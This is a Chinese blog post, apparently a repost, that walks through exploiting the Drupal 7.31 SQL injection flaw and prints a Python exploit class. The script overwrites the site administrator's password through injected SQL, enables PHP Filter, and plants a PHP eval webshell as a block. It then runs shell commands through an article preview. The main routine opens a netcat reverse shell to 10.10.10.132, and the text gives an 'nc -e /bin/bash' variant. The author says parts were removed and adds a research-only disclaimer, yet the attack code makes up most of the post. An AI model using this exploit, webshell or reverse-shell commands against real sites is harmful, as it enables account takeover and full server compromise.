zoukankan      html  css  js  c++  java
  • Drupal 7.31 SQL注入漏洞利用具体解释及EXP

    

    有意迟几天放出来这篇文章以及程序,只是看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,只是说实话这个洞威力挺大的。当然。这也是Drupal本身没有意料到的。

    0x00

    首先。这个漏洞真的非常大。并且Drupal用的也比較多。应该能够扫出非常多漏洞主机,可是做批量可能会对对方站点造成非常大的损失。所以我也就仅仅是写个Exp。只是。这个洞好像不怎么被重视。这也是极为不合适。

     

    0x01

    关于漏洞的原理和POC在我的博客上已经有文章进行解释。这里仅仅是着重说一下利用过程。配合POC的效果。我主要是从远程代码运行和GetShell方面去做的利用。

    远程代码运行利用:

    1.使用超级管理员进行登录

    2.开启网站PHP Filter功能

    3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览

    4.预览页面加载后就会运行代码

     

    相应EXPDrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程自己主动化。

    我编写这个部分比較费劲的是,requests发送attachment遇到了问题,最后实在没办法就自己对Post数据包进行拼接,拼接结构例如以下:


    在调试程序时,使用burpsuite进行辅助非常有效果,通过burpsuite你能够清楚看到每一次交互的数据包格式与字段内容。

    GetShell利用:

    1.使用超级管理员进行登录

    2.开启站点的PHP Filter功能

    3.新建block。编辑PHP代码

    4.使用PHP_CODE进行保存

    Post请求构造例如以下:


    使用python进行发包。有个缺点就是不直观。我们无法获知我们的数据包构造是否正确,这时候能够使用requests模块的proxies參数。将代理设置为burpsuite,然后就能够分析调试了。只是,使用新建block的方法获取shell可能权限比較小。


    在构造请求包的时候。有两个字段是form_build_idform_token,他们是Drupal自带的防止CSRF所使用的token(类似于Django中的csrf防护)。

    发包之前必须找到这两个东西。使用小型爬虫就可以。


    另一个关键点就是模拟登陆后要保存cookie,由于兴许的攻击利用都要携带admincookie。否则会运行出错。


    0x02

    命令运行效果:本地监听port获取反弹shell

    測试环境:本地測试

    程序运行:例如以下图

    接收反弹shell的过程中主线程会堵塞。

    反弹shell效果;


    0x03

    这个漏洞威力大,带给对方主机的危害也大,并且涉及到用户覆盖以及改变站点原有设置的问题。所以我这里就不准备将代码完整分享出来。

    假设想要隐蔽地利用。那么须要做非常多辅助工作。比方在开启php filter的过程中,涉及到小型爬虫抓取站点原有的配置信息。

    还有就是管理员的获取方式进行改进。

    接下来就是放出部分代码:

    模拟登录函数

    开启PHP Filter

    代码运行:


    0x04

    这样的Web类型的EXP编写须要非常多细节。在调试的途中我甚至动用了burpsuite。而且这个过程也让我恶心得非常。

    另外,程序也仅供安全研究与学习交流使用,请读者不要用于非法用途。


    0x05

    分享一下程序。当中一些重要的部分被我删去一些,程序如今是无法执行的,还是仅仅提供学习交流使用:

    #coding=utf-8
    import requests
    import re
    import sys
    import socket
    import urllib
    import urllib2
    import cookielib
    import mimetypes
    import mimetools
    class DrupalSQLin():
    
    	'''获取超级管理员账户password(覆盖)'''
    	def getAdmin(self,url):
    		try:
    			#admin is owned, pass is thanks
    			data = {
    				"name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',
    				"name[0]":"111111",
    				"pass":"shit2",
    				"test2":"test",
    				"form_build_id":"",
    				"form_id":"user_login_block",
    				"op":"Log+in"
    			}
    			r = requests.post(url,timeout=10,data=data)
    			page = r.content
    			if page.count("mb_strlen() expects parameter 1 to be string") != 0:
    				print "[+] Get Admin Success:admin/thanks"
    		except Exception, e:
    			print "Exception exists:%s" % e
    			return None
    
    	'''使用超级管理员登录'''
    	def login(self,url):
    		#get token
    		pattern = re.compile(r'name="form_build_id" value="(.+)"')
    		r = requests.get(url)
    		form_build_id = pattern.findall(r.content)[0]
    		login_data = {
    			'name':'admin',
    			'pass':'thanks',
    			'form_build_id':form_build_id, #csrf token
    			'form_id':'user_login_block',
    			'op':'Log+in'
    		}
    
    		r = requests.post(url,data=login_data)
    		page = r.content
    		if page.count("Log out") != 0:
    			print '[+] Admin Log in Success!'
    			
    			#获取cookies
    			cj = cookielib.LWPCookieJar()
    			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    			login_path = 'http://127.0.0.1/drupal-7.31/'
    			pattern = re.compile(r'name="form_build_id" value="(.+)"')
    			r = requests.get(login_path)
    			form_build_id = pattern.findall(r.content)[0]
    			data = {
    						'name':'admin',
    						'pass':'thanks',
    						'form_build_id':form_build_id, #csrf token
    						'form_id':'user_login_block',
    						'op':'Log+in'
    					}
    			post_data = urllib.urlencode(data)
    			request = urllib2.Request(login_path,post_data)
    			html = opener.open(request).read()
    			if cj:
    				cj.save('cookiefile.txt')
    			else:
    				print 'Get Cookies Error, Exploit Failed!'
    				sys.exit()
    			f = open('cookiefile.txt','r')
    			cookiesfile = f.read()
    			pattern = re.compile(r'Set-Cookie3: (.+?

    )=(.+?);') ret = pattern.findall(cookiesfile) cookies = {ret[0][0]:str(ret[0][1]).replace('"','')} return cookies else: return None '''开启PHP Filter''' def openPhpFilter(self,url): cookies = self.login(url) url = "%s%s" % (url,"?

    q=admin/modules/list/confirm") pattern_id = re.compile(r'name="form_build_id" value="(.+)"') pattern_token = re.compile(r'name="form_token" value="(.+)"') r = requests.get(url,cookies=cookies) form_build_id = pattern_id.findall(r.content)[0] #csrf token form_token = pattern_token.findall(r.content)[0] post_data = { 'modules[Core][php][enable]':'1', 'modules[Core][color][enable]':'1', 'modules[Core][comment][enable]':'1', 'modules[Core][contextual][enable]':'1', 'modules[Core][dashboard][enable]':'1', 'modules[Core][dblog][enable]':'1', 'modules[Core][field_ui][enable]':'1', 'modules[Core][help][enable]':'1', 'modules[Core][list][enable]':'1', 'modules[Core][menu][enable]':'1', 'modules[Core][number][enable]':'1', 'modules[Core][overlay][enable]':'1', 'modules[Core][path][enable]':'1', 'modules[Core][rdf][enable]':'1', 'modules[Core][search][enable]':'1', 'modules[Core][shortcut][enable]':'1', 'modules[Core][toolbar][enable]':'1', 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'system_modules', 'op':'Save+configuration' } try: r = requests.post(url,data=post_data,cookies=cookies) print '[+] Open PHP Filter Success!' except Exception, e: print "[+] Exception:%s Exploit Failed!" % e sys.exit() '''获取webshell:?q=admin/structure/block/add''' def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"): print "[+] Get Shell Module Notice: You can use this part get a shell." cookies = self.login(url) url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay") pattern_id = re.compile(r'name="form_build_id" value="(.+)"') pattern_token = re.compile(r'name="form_token" value="(.+)"') r = requests.get(url,cookies=cookies) form_build_id = pattern_id.findall(r.content)[0] #csrf token form_token = pattern_token.findall(r.content)[0] post_data = { 'title':'', 'info':'shit2', 'body[value]':content, 'body[format]':'php_code', 'regions[bartik]':'-1', 'regions[seven]':'-1', 'visibility':'0', 'pages':'', 'custom':'0', 'visibility__active_tab':'edit-path', 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'block_add_block_form', 'op':'Save+block' } rp = requests.post(url,data=post_data) page_content = rp.content if page_content.count("created") != 0: print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url return "%s/?q=admin/structure/block" % url else: print 'Get Shell Failed!' '''远程代码运行:?

    q=node/add/article''' def codeExecution(self,url,code): print ''' [+]Code Execution Module Please make sure that keep nc listener opening when you want to get a reverse shell. 1.First, you need to exe nc -vv -l -p <port> 2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash' Tips: If you want a echo, add reg by youself. ''' cookies = self.login(url) url = "%s%s" % (url,"?q=node/add/article") r = requests.get(url,cookies=cookies) pattern_id = re.compile(r'name="form_build_id" value="(.+)"') pattern_token = re.compile(r'name="form_token" value="(.+)"') form_build_id = pattern_id.findall(r.content)[0] #csrf token #拼接attachment BOUND = mimetools.choose_boundary() content_type = "multipart/form-data; boundary=%s" % BOUND CRLF = " " fields = { 'title':'chongrui', 'field_tags[und]':CRLF, 'body[und][0][summary]':CRLF, 'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code, 'body[und][0][format]':'php_code', 'field_image[und][0][fid]':'0', 'field_image[und][0][display]':'1', 'changed':CRLF, 'form_build_id':form_build_id, 'form_token':form_token, 'form_id':'article_node_form', 'log':CRLF, 'name':'admin', 'date':CRLF, 'status':'1', 'promote':'1', 'additional_settings__active_tab':'edit-revision-information', 'op':'Preview' } L= [] for k,v in fields.items(): L.append('--'+BOUND) L.append(' ') L.append('Content-Disposition: form-data; name="%s"%s' % (k," ")) if v != CRLF: L.append(CRLF) L.append(v) L.append(' ') L.append('%s--' % BOUND) L.append(CRLF) body = '' for x in L: body+=x headers = { 'Content-type':content_type } r = requests.post(url,data=body,cookies=cookies,headers=headers) cmd_echo = r.content if cmd_echo.count("Preview trimmed version") == 0: print 'Execution Error!' else: print 'Execution Success!' if __name__ == '__main__': url = "http://127.0.0.1/drupal-7.31/" code = "" print "Target host:%s" % url print 'Powered by :Exploit <from 91ri Team> QQ:739858341' exp = DrupalSQLin() #获取admin权限 exp.getAdmin(url) #开启php filter exp.openPhpFilter("http://127.0.0.1/drupal-7.31/") #getshell exp.getShell(url) #代码运行 exp.codeExecution(url,'c:\\nc.exe 10.10.10.132 10002 -e c:\\cmd.exe')




  • 相关阅读:
    安装kafka
    linux安装jdk
    rabbitmq
    企业级docker镜像仓库----Harbor高可用部署
    kubernetes基础概念理解
    kubeadm安装kubernetes集群v1.14.3
    salt-stack深入学习
    salt-stack的数据系统Pillars
    salt-stack的数据系统Grains
    salt-stack
  • 原文地址:https://www.cnblogs.com/mengfanrong/p/5347643.html
Copyright © 2011-2022 走看看